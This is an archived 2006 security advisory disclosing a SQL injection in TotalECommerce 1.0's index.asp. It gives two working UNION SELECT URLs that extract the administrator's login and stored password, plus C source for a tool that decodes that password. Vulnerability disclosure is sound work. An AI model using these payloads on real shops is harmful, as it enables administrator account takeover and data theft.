

[NT] TotalECommerce index.asp id SQL Injection

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-03/msg00001.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 5 Mar 2006 10:07:47 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

TotalECommerce index.asp id SQL Injection

SUMMARY

<<http://www.boomerangsoftware.com/Products/TotalECommerce/TECInfo.htm>>

TotalECommerce is "a complete ecommerce solution for FrontPage, includes shopping cart, online store administration, order processing, order verification by email, etc". An SQL injection vulnerability in the product allows remote attackers to insert arbitrary values into the product's database.

DETAILS

Vulnerable Systems:

* TotalECommerce version 1.0

How and Example:

GET -> [http://\[victim\]/\[dir\]/index.asp?secao=\[PageID\]&id=\[SQL\]](http://[victim]/[dir]/index.asp?secao=[PageID]&id=[SQL])

EXAMPLE 1 ->

[http://\[victim\]/\[dir\]/index.asp?secao=25&id=-1+UNION](http://[victim]/[dir]/index.asp?secao=25&id=-1+UNION) select
senha,senha,senha,senha,senha,senha,senha,
senha,senha,senha,senha,senha,senha,senha,senha,senha,
senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,

[NT] TotalECommerce index.asp id SQL Injection

senha,senha,senha,senha,senha,senha,senha,senha+from+administradores

EXAMPLE 2 ->

```
http://[victim]/[dir]/index.asp?secao=25&id=-1+UNION select  
login,login,login,login,login,login,login,  
login,login,login,login,login,login,login,login,login,login,login,login,login,login,  
login,login,login,login,login,login,login+from+administradores
```

With example 1 remote attacker can get admin's encrypted password and with example 2 remote attacker can get admin's login name.

NOTE: [PageID]: must be working page id you can get some from frontpage.

Decrypter source in C:

```
/******  
* TotalECommerce PWD Decrypter *  
* Coded by |SaMaN| for nukedx *  
* http://www.k9world.org *  
* IRC.K9World.Org *  
* Advisory: http://www.nukedx.com/?viewdoc=18 *  
*****/  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
int main()  
{  
char buf[255];  
char buf2[255];  
char buf3[255];  
char *texto;  
char *vdecrypt;  
int i,x,z,t = 0;  
char saman;  
texto = buf;  
vdecrypt = buf2;  
printf("%s", "|=-----=\n");  
printf("%s", " Coded by |SaMaN| @ IRC.K9World.Org\n");  
printf("%s", "|=-----=\n");  
printf("%s", "Enter crypted password: ");  
scanf("%200s", buf);  
if (!texto)  
vdecrypt = "";  
  
for (i = 0; i < strlen(texto); i++)  
{  
if ((vdecrypt == "") || (i > strlen(texto)))  
x = 1;  
else  
x = x + 1;  
t = buf[i];  
z = 255 - t;
```

[NT] TotalECommerce index.asp id SQL Injection

```
saman = toascii(z);
snprintf(buf3, 250, "%c", saman);
strncat(buf2, buf3, 250);
}
printf("Result: %s\n", buf2);
return;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:nukedx@xxxxxxxxxx>> Mustafa Can Bjorn.

The original article can be found at: <<http://www.nukedx.com/?getxpl=18>>
<http://www.nukedx.com/?getxpl=18>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.